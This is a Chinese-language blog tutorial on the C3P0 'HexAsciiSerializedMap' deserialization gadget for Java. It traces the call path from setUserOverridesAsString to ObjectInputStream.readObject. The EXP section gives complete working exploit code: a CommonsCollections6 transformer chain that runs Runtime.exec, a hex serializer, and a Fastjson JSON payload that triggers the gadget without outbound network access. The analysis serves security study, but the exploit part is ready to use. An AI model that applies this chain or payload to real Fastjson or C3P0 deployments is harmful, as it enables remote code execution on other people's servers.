目录
简介
原理分析
EXP
前文:【Web】浅聊Java反序列化之C3P0——URLClassLoader利用
简介
不出网的情况下,这个C3P0的Gadget可以和fastjson,Snake YAML , JYAML,Yamlbeans , Jackson,Blazeds,Red5, Castor等配合使用(调用setter和初始化方法)
原理分析
抽象类WrapperConnectionPoolDataSourceBase有private属性userOverridesAsString
private String userOverridesAsString = C3P0Config.initializeUserOverridesAsString();
以及对应的setter方法setuserOverridesAsString
public synchronized void setUserOverridesAsString(String userOverridesAsString) throws PropertyVetoException {
String oldVal = this.userOverridesAsString;
if (!this.eqOrBothNull(oldVal, userOverridesAsString)) {
this.vcs.fireVetoableChange("userOverridesAsString", oldVal, userOverridesAsString);
}
this.userOverridesAsString = userOverridesAsString;
}
点到为止,WrapperConnectionPoolDataSourceBase是抽象类,关注其子类WrapperConnectionPoolData,其构造方法,无参构造会调用有参构造并传入默认的true
public WrapperConnectionPoolDataSource(boolean autoregister) {
super(autoregister);
this.connectionTester = C3P0Registry.getDefaultConnectionTester();
this.setUpPropertyListeners();
try {
this.userOverrides = C3P0ImplUtils.parseUserOverridesAsString(this.getUserOverridesAsString());
} catch (Exception var3) {
if (logger.isLoggable(MLevel.WARNING)) {
logger.log(MLevel.WARNING, "Failed to parse stringified userOverrides. " + this.getUserOverridesAsString(), var3);
}
}
}
public WrapperConnectionPoolDataSource() {
this(true);
}
其会调用C3P0ImplUtils.parseUserOverridesAsString
跟进C3P0ImplUtils.parseUserOverridesAsString( this.getUserOverridesAsString());
public static Map parseUserOverridesAsString(String userOverridesAsString) throws IOException, ClassNotFoundException {
if (userOverridesAsString != null) {
String hexAscii = userOverridesAsString.substring("HexAsciiSerializedMap".length() + 1, userOverridesAsString.length() - 1);
byte[] serBytes = ByteUtils.fromHexAscii(hexAscii);
return Collections.unmodifiableMap((Map)SerializableUtils.fromByteArray(serBytes));
} else {
return Collections.EMPTY_MAP;
}
}
parseUserOverridesAsString会先把userOverrideAsString属性进行截取得到hexAscii,然后fromHexAscii
,用于将十六进制 ASCII 字符串转换为字节数组,最后调用SerializableUtils.fromByteArray对其进行处理
解读下hexAscii从何来(exp构造最后那个奇怪的'z'就是为了满足它,作为最后一位被吃掉)
userOverridesAsString.substring("HexAsciiSerializedMap".length() + 1, userOverridesAsString.length() - 1)
- 使用
substring
方法从userOverridesAsString
中提取子字符串。 "HexAsciiSerializedMap".length() + 1
:计算了起始索引,即从字符串 "HexAsciiSerializedMap" 的长度之后一个位置开始。userOverridesAsString.length() - 1
:计算了结束索引,即字符串userOverridesAsString
的长度减去 1。- 因此,这行代码的作用是从字符串
userOverridesAsString
中截取一个子字符串,起始位置为 "HexAsciiSerializedMap" 的长度之后一个位置,结束位置为字符串的倒数第二个字符。
再看一下SerializableUtils.fromByteArray
public static Object fromByteArray(byte[] var0) throws IOException, ClassNotFoundException {
Object var1 = deserializeFromByteArray(var0);
return var1 instanceof IndirectlySerialized ? ((IndirectlySerialized)var1).getObject() : var1;
}
跟进deserializeFromByteArray
public static Object deserializeFromByteArray(byte[] var0) throws IOException, ClassNotFoundException {
ObjectInputStream var1 = new ObjectInputStream(new ByteArrayInputStream(var0));
return var1.readObject();
}
发现就是对传入的byte数组进行一个反序列化
在fastjson等环镜下,userOverridesAsString属性可控,也就是传入的byte数组可控,导致可以从其setter方法setuserOverridesAsString开始到最后deserializeFromByteArray对其调用readObject进行反序列化,造成反序列化漏洞。
EXP
先用CC6改这个生成hexEXP
package com.c3p0;
import com.mchange.v2.c3p0.WrapperConnectionPoolDataSource;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class getPayload {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer(
"getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer(
"invoke", new Class[]{Object.class, Object[].class}, new Object[]{Runtime.class, null}),
new InvokerTransformer(
"exec", new Class[]{String.class}, new Object[]{"calc"})
};
Transformer[] fakeTransformers = new Transformer[] {new
ConstantTransformer(1)};
Transformer transformerChain = new ChainedTransformer(fakeTransformers);
Map map = new HashMap();
Map lazyMap = LazyMap.decorate(map, transformerChain);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "test");
Map expMap = new HashMap();
expMap.put(tiedMapEntry, "xxx");
lazyMap.remove("test");
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain, transformers);
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(expMap);
oos.close();
System.out.println("FJ的hexEXP填这个:"+bytesToHexString(baos.toByteArray())+ "z");
String ser = "HexAsciiSerializedMap:" + bytesToHexString(baos.toByteArray()) + "z";
WrapperConnectionPoolDataSource exp = new WrapperConnectionPoolDataSource();
exp.setUserOverridesAsString(ser);
}
public static byte[] toByteArray(InputStream in) throws IOException {
byte[] classBytes;
classBytes = new byte[in.available()];
in.read(classBytes);
in.close();
return classBytes;
}
public static String bytesToHexString(byte[] bArray) {
int length = bArray.length;
StringBuffer sb = new StringBuffer(length);
for(int i = 0; i < length; ++i) {
String sTemp = Integer.toHexString(255 & bArray[i]);
if (sTemp.length() < 2) {
sb.append(0);
}
sb.append(sTemp.toUpperCase());
}
return sb.toString();
}
}
再配合FastJson打
{ "a": { "@type": "java.lang.Class", "val": "com.mchange.v2.c3p0.WrapperConnectionPoolDataSource" }, "b": { "@type": "com.mchange.v2.c3p0.WrapperConnectionPoolDataSource", "userOverridesAsString": "HexAsciiSerializedMap:hexEXP" } }